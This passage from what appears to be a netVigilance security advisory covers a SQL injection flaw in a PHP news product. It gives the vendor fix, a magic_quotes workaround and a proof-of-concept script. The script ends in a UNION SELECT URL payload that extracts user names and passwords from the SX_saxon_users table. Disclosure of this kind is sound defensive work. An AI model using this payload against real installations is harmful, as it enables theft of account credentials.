Vendor Status:
The Vendor has confirmed the problem and has release new version 5.41 that
addresses the problem. New version of product was tested and we can confirm

Workaround:
From netVigilance:
In the php.ini file set magic_quotes_gpc = On.

In future merge to PHP6, because magic_quotes will be removed from PHP 6
completely. See http://www.php.net/~derick/meeting-notes.html#magic-quotes.
Example:
By reading readme.txt create example.php:
<?php include_once "./admin/functions.php";
$config = Config();
#Here we have the dynamic news template change
$tid = $_GET['template'];
include "./news.php";
?>

http://[TARGET]/[PRODUCT DIRECTORY]/example.php?template=' UNION SELECT NULL,
NULL, NULL, NULL, NULL, CONCAT(USER_NAME, USER_PWD), NULL FROM SX_saxon_users
